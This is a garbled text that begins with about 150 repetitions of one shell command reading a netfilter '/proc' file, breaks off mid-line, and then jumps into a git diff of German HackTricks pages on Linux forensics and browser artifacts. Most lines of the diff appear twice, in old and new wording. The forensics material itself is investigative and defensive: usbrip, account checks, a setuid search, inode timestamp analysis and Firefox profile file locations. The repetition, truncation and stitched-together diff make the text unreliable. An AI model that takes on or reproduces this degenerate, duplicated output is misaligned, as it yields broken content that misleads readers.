$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc/net/xt_recent/DEFAULT/visited
$ cat /proc
```bash
usbrip events history #Get USB history of your curent linux machine
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
@ -667,109 +335,103 @@ usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR
usbrip ids download #Downlaod database
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
```
Weitere Beispiele und Informationen finden Sie auf GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
Mehr Beispiele und Informationen finden Sie auf GitHub: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Überprüfen von Benutzerkonten und Anmeldeaktivitäten
Überprüfen Sie die Dateien _**/etc/passwd**_, _**/etc/shadow**_ und **Sicherheitsprotokolle** auf ungewöhnliche Namen oder Konten, die in der Nähe bekannter unbefugter Ereignisse erstellt oder verwendet wurden. Überprüfen Sie auch mögliche sudo-Brute-Force-Angriffe.\
Überprüfen Sie außerdem Dateien wie _**/etc/sudoers**_ und _**/etc/groups**_ auf unerwartete Berechtigungen für Benutzer.\
Suchen Sie schließlich nach Konten ohne Passwörter oder leicht zu erratenden Passwörtern.
Untersuchen Sie die Dateien _**/etc/passwd**_, _**/etc/shadow**_ und **Sicherheitsprotokolle** auf ungewöhnliche Namen oder Konten, die erstellt oder in unmittelbarer Nähe zu bekannten unbefugten Ereignissen verwendet wurden. Überprüfen Sie auch mögliche sudo-Brute-Force-Angriffe.\
Überprüfen Sie außerdem Dateien wie _**/etc/sudoers**_ und _**/etc/groups**_ auf unerwartete Berechtigungen, die Benutzern erteilt wurden.\
Suchen Sie schließlich nach Konten ohne Passwörter oder mit leicht erratbaren Passwörtern.
## Dateisystem untersuchen
### Analyse von Dateisystemstrukturen bei der Untersuchung von Malware
### Analyse von Dateisystemstrukturen bei Malware-Untersuchungen
Bei der Untersuchung von Malware-Vorfällen ist die Struktur des Dateisystems eine wichtige Informationsquelle, die sowohl die Ereignisabfolge als auch den Inhalt der Malware offenbart. Malware-Autoren entwickeln jedoch Techniken, um diese Analyse zu erschweren, z. B. durch Änderung der Dateizeitstempel oder Vermeidung des Dateisystems zur Datenspeicherung.
Bei der Untersuchung von Malware-Vorfällen ist die Struktur des Dateisystems eine entscheidende Informationsquelle, die sowohl die Ereignisabfolge als auch den Inhalt der Malware aufzeigt. Malware-Autoren entwickeln jedoch Techniken, um diese Analyse zu erschweren, z. B. durch Ändern von Dateizeitstempeln oder Vermeiden des Dateisystems zur Datenspeicherung.
Um diesen anti-forensischen Methoden entgegenzuwirken, ist es wichtig:
- **Eine gründliche Zeitachsenanalyse** durchzuführen, indem Tools wie **Autopsy** zur Visualisierung von Ereigniszeitachsen oder **Sleuth Kit's** `mactime` zur detaillierten Zeitachsen-Datenanalyse verwendet werden.
- **Unerwartete Skripte** im $PATH des Systems zu untersuchen, die Shell- oder PHP-Skripte enthalten könnten, die von Angreifern verwendet werden.
- **`/dev` nach untypischen Dateien** zu durchsuchen, da es traditionell spezielle Dateien enthält, aber auch malwarebezogene Dateien enthalten kann.
- Nach versteckten Dateien oder Verzeichnissen** mit Namen wie ".. " (Punkt Punkt Leerzeichen) oder "..^G" (Punkt Punkt Steuerung-G) zu suchen, die bösartigen Inhalt verbergen könnten.
- **Setuid-Root-Dateien zu identifizieren**, indem der Befehl verwendet wird:
```find / -user root -perm -04000 -print```
Dies findet Dateien mit erhöhten Berechtigungen, die von Angreifern missbraucht werden könnten.
- **Löschungszeitstempel** in Inode-Tabellen zu überprüfen, um Massenlöschungen von Dateien zu erkennen, die möglicherweise auf das Vorhandensein von Rootkits oder Trojanern hinweisen.
- **Aufeinanderfolgende Inodes** nach einer Identifizierung einer bösartigen Datei auf nahegelegene bösartige Dateien zu überprüfen, da sie möglicherweise zusammen platziert wurden.
- **Gängige binäre Verzeichnisse** (_/bin_, _/sbin_) auf kürzlich geänderte Dateien zu überprüfen, da diese von Malware verändert worden sein könnten.
```bash
* Führen Sie eine gründliche Zeitachsenanalyse durch, indem Sie Tools wie **Autopsy** zur Visualisierung von Ereigniszeitachsen oder **Sleuth Kit's** `mactime` zur detaillierten Zeitachsenanalyse verwenden.
* Untersuchen Sie unerwartete Skripte im $PATH des Systems, die Shell- oder PHP-Skripte enthalten könnten, die von Angreifern verwendet werden.
* Untersuchen Sie `/dev` nach untypischen Dateien, da es traditionell spezielle Dateien enthält, aber auch Malware-bezogene Dateien enthalten kann.
* Suchen Sie nach versteckten Dateien oder Verzeichnissen mit Namen wie ".. " (Punkt Punkt Leerzeichen) oder "..^G" (Punkt Punkt Steuerung-G), die bösartigen Inhalt verbergen könnten.
* Identifizieren Sie setuid-Root-Dateien mit dem Befehl: `find / -user root -perm -04000 -print`. Dies findet Dateien mit erhöhten Berechtigungen, die von Angreifern missbraucht werden könnten.
* Überprüfen Sie Löschzeitstempel in Inode-Tabellen, um Massenlöschungen von Dateien zu erkennen, die möglicherweise auf das Vorhandensein von Rootkits oder Trojanern hinweisen.
* Inspektionieren Sie aufeinanderfolgende Inodes nach der Identifizierung einer bösartigen Datei auf nahegelegene bösartige Dateien, da sie möglicherweise zusammen platziert wurden.
* Überprüfen Sie häufige binäre Verzeichnisse (_/bin_, _/sbin_) auf kürzlich geänderte Dateien, da diese von Malware verändert worden sein könnten.
````bash
# List recent files in a directory:
ls -laR --sort=time /bin```
# Sort files in a directory by inode:
ls -lai /bin | sort -n```
```
````
{% hint style="info" %}
Beachten Sie, dass ein **Angreifer** die **Zeit** ändern kann, um **Dateien als legitim** erscheinen zu lassen, aber er kann das **Inode** nicht ändern. Wenn Sie feststellen, dass eine **Datei angibt**, dass sie zur **gleichen Zeit** wie die anderen Dateien im selben Ordner erstellt und geändert wurde, aber das **Inode** unerwartet größer ist, dann wurden die **Zeitstempel dieser Datei geändert**.
Beachten Sie, dass ein **Angreifer** die **Zeit** ändern kann, um **Dateien als legitim erscheinen zu lassen**, aber er kann das **Inode** nicht ändern. Wenn Sie feststellen, dass eine **Datei** angibt, dass sie zur **gleichen Zeit wie der Rest der Dateien im selben Ordner erstellt und geändert wurde**, aber das **Inode unerwartet größer ist**, dann wurden die **Zeitstempel dieser Datei geändert**.
{% endhint %}
## Vergleich von Dateien verschiedener Dateisystemversionen
### Zusammenfassung des Vergleichs der Dateisystemversionen
### Zusammenfassung des Dateisystemversionsvergleichs
Um Dateisystemversionen zu vergleichen und Änderungen zu ermitteln, verwenden wir vereinfachte `git diff`-Befehle:
- **Um neue Dateien zu finden**, vergleichen Sie zwei Verzeichnisse:
* **Um neue Dateien zu finden**, vergleichen Sie zwei Verzeichnisse:
```bash
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
```
- **Für modifizierten Inhalt**, listen Sie Änderungen auf, während Sie spezifische Zeilen ignorieren:
* **Für geänderte Inhalte** listen Sie Änderungen auf, wobei spezifische Zeilen ignoriert werden:
```bash
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
```
- **Zum Erkennen gelöschter Dateien**:
* **Gelöschte Dateien erkennen**:
```bash
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
```
- **Filteroptionen** (`--diff-filter`) helfen dabei, die Suche auf bestimmte Änderungen wie hinzugefügte (`A`), gelöschte (`D`) oder modifizierte (`M`) Dateien einzugrenzen.
- `A`: Hinzugefügte Dateien
- `C`: Kopierte Dateien
- `D`: Gelöschte Dateien
- `M`: Modifizierte Dateien
- `R`: Umbenannte Dateien
- `T`: Typänderungen (z. B. Datei zu Symlink)
- `U`: Nicht zusammengeführte Dateien
- `X`: Unbekannte Dateien
- `B`: Beschädigte Dateien
* **Filteroptionen** (`--diff-filter`) helfen dabei, Änderungen wie hinzugefügte (`A`), gelöschte (`D`) oder modifizierte (`M`) Dateien einzugrenzen.
* `A`: Hinzugefügte Dateien
* `C`: Kopierte Dateien
* `D`: Gelöschte Dateien
* `M`: Modifizierte Dateien
* `R`: Umbenannte Dateien
* `T`: Typänderungen (z. B. Datei zu Symlink)
* `U`: Nicht zusammengeführte Dateien
* `X`: Unbekannte Dateien
* `B`: Defekte Dateien
## Referenzen
* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)
* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/)
* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)
* **Buch: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**
* **Buch: Malware Forensics Field Guide für Linux-Systeme: Digitale Forensik-Handbücher**
<details>
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks beworben sehen**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS erhalten oder HackTricks im PDF-Format herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) bei oder der [**Telegram-Gruppe**](https://t.me/peass) oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
**Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
**Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**HackTricks-Repository**](https://github.com/carlospolop/hacktricks) **und das** [**HackTricks-Cloud-Repository**](https://github.com/carlospolop/hacktricks-cloud) **senden.**
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugang:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mithilfe der weltweit **fortschrittlichsten Community-Tools** ganz einfach **Workflows zu erstellen und zu automatisieren**.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -2,79 +2,77 @@
<details>
<summary>Lernen Sie AWS-Hacking von Grund auf mit <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a>!</summary>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die [ABONNEMENTPLÄNE](https://github.com/sponsors/carlospolop)!
- Holen Sie sich das [offizielle PEASS & HackTricks-Merchandise](https://peass.creator-spring.com)
- Entdecken Sie [The PEASS Family](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [NFTs](https://opensea.io/collection/the-peass-family)
- Treten Sie der 💬 [Discord-Gruppe](https://discord.gg/hRep4RUj7f) oder der [Telegram-Gruppe](https://t.me/peass) bei oder folgen Sie uns auf Twitter 🐦 [@hacktricks_live](https://twitter.com/hacktricks_live).
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die [HackTricks](https://github.com/carlospolop/hacktricks) und [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Verwenden Sie [Trickest](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
Erhalten Sie noch heute Zugriff:
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos Workflows zu erstellen und zu **automatisieren**, die von den weltweit **fortschrittlichsten** Community-Tools unterstützt werden.\
Heute Zugriff erhalten:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Browser-Artefakte <a href="#id-3def" id="id-3def"></a>
Browser-Artefakte umfassen verschiedene Arten von Daten, die von Webbrowsern gespeichert werden, wie z.B. Navigationsverlauf, Lesezeichen und Cache-Daten. Diese Artefakte werden in spezifischen Ordnern im Betriebssystem aufbewahrt, die sich je nach Browser in Ort und Namen unterscheiden, aber im Allgemeinen ähnliche Datentypen speichern.
Browser-Artefakte umfassen verschiedene Arten von Daten, die von Webbrowsern gespeichert werden, wie Navigationsverlauf, Lesezeichen und Cache-Daten. Diese Artefakte werden in spezifischen Ordnern im Betriebssystem aufbewahrt, unterscheiden sich in Standort und Namen je nach Browser, speichern jedoch im Allgemeinen ähnliche Datentypen.
Hier ist eine Zusammenfassung der häufigsten Browser-Artefakte:
- **Navigationsverlauf**: Verfolgt die Besuche des Benutzers auf Websites, nützlich zur Identifizierung von Besuchen auf bösartigen Websites.
- **Autocomplete-Daten**: Vorschläge basierend auf häufigen Suchanfragen, bieten Einblicke, wenn sie mit dem Navigationsverlauf kombiniert werden.
- **Lesezeichen**: Von Benutzern gespeicherte Websites für schnellen Zugriff.
- **Erweiterungen und Add-Ons**: Vom Benutzer installierte Browser-Erweiterungen oder Add-Ons.
- **Cache**: Speichert Webinhalte (z.B. Bilder, JavaScript-Dateien), um die Ladezeiten von Websites zu verbessern, wertvoll für forensische Analysen.
- **Anmeldungen**: Gespeicherte Anmeldeinformationen.
- **Favicons**: Mit Websites verbundene Symbole, die in Tabs und Lesezeichen angezeigt werden, nützlich für zusätzliche Informationen über Benutzerbesuche.
- **Browser-Sitzungen**: Daten im Zusammenhang mit geöffneten Browsersitzungen.
- **Downloads**: Aufzeichnungen über über den Browser heruntergeladene Dateien.
- **Formulardaten**: In Webformularen eingegebene Informationen, die für zukünftige automatische Vervollständigungsvorschläge gespeichert werden.
- **Thumbnails**: Vorschaubilder von Websites.
- **Custom Dictionary.txt**: Vom Benutzer zum Wörterbuch des Browsers hinzugefügte Wörter.
* **Navigationsverlauf**: Verfolgt die Besuche von Benutzern auf Websites, nützlich zur Identifizierung von Besuchen auf bösartigen Websites.
* **Automatische Vervollständigung**: Vorschläge basierend auf häufigen Suchanfragen, bieten Einblicke, wenn sie mit dem Navigationsverlauf kombiniert werden.
* **Lesezeichen**: Von Benutzern gespeicherte Websites für schnellen Zugriff.
* **Erweiterungen und Add-ons**: Vom Benutzer installierte Browser-Erweiterungen oder Add-ons.
* **Cache**: Speichert Webinhalte (z. B. Bilder, JavaScript-Dateien) zur Verbesserung der Ladezeiten von Websites, wertvoll für forensische Analysen.
* **Anmeldungen**: Gespeicherte Anmeldeinformationen.
* **Favicons**: Mit Websites verknüpfte Symbole, die in Registerkarten und Lesezeichen erscheinen, nützlich für zusätzliche Informationen zu Benutzerbesuchen.
* **Browser-Sitzungen**: Daten zu offenen Browsersitzungen.
* **Downloads**: Aufzeichnungen von über den Browser heruntergeladenen Dateien.
* **Formulardaten**: In Webformularen eingegebene Informationen, gespeichert für zukünftige automatische Vervollständigungsvorschläge.
* **Miniaturansichten**: Vorschau-Bilder von Websites.
* **Benutzerdefinierte Wörterbuch.txt**: Vom Benutzer zum Wörterbuch des Browsers hinzugefügte Wörter.
## Firefox
Firefox organisiert Benutzerdaten in Profilen, die anhand des Betriebssystems an spezifischen Orten gespeichert sind:
Firefox organisiert Benutzerdaten in Profilen, die an spezifischen Standorten basierend auf dem Betriebssystem gespeichert sind:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
* **Linux**: `~/.mozilla/firefox/`
* **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
* **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
Eine `profiles.ini`-Datei in diesen Verzeichnissen listet die Benutzerprofile auf. Die Daten jedes Profils werden in einem Ordner gespeichert, der in der `Path`-Variablen innerhalb von `profiles.ini` benannt ist und sich im selben Verzeichnis wie `profiles.ini` selbst befindet. Wenn der Ordner eines Profils fehlt, wurde er möglicherweise gelöscht.
Eine `profiles.ini`-Datei in diesen Verzeichnissen listet die Benutzerprofile auf. Die Daten jedes Profils werden in einem Ordner gespeichert, der im `Path`-Variablen innerhalb von `profiles.ini` benannt ist und sich im selben Verzeichnis wie `profiles.ini` selbst befindet. Wenn der Ordner eines Profils fehlt, wurde er möglicherweise gelöscht.
In jedem Profilordner finden Sie mehrere wichtige Dateien:
- **places.sqlite**: Speichert Verlauf, Lesezeichen und Downloads. Tools wie [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) unter Windows können auf die Verlaufsdaten zugreifen.
- Verwenden Sie spezifische SQL-Abfragen, um Informationen zum Verlauf und zu Downloads zu extrahieren.
- **bookmarkbackups**: Enthält Sicherungskopien von Lesezeichen.
- **formhistory.sqlite**: Speichert Webformulardaten.
- **handlers.json**: Verwaltet Protokoll-Handler.
- **persdict.dat**: Benutzerdefinierte Wörterbuchwörter.
- **addons.json** und **extensions.sqlite**: Informationen zu installierten Add-Ons und Erweiterungen.
- **cookies.sqlite**: Cookie-Speicherung, mit [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) zur Inspektion unter Windows verfügbar.
- **cache2/entries** oder **startupCache**: Cache-Daten, zugänglich über Tools wie [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Speichert Favicons.
- **prefs.js**: Benutzereinstellungen und -präferenzen.
- **downloads.sqlite**: Ältere Downloads-Datenbank, jetzt in places.sqlite integriert.
- **thumbnails**: Vorschaubilder von Websites.
- **logins.json**: Verschlüsselte Anmeldeinformationen.
- **key4.db** oder **key3.db**: Speichert Verschlüsselungsschlüssel zur Sicherung sensibler Informationen.
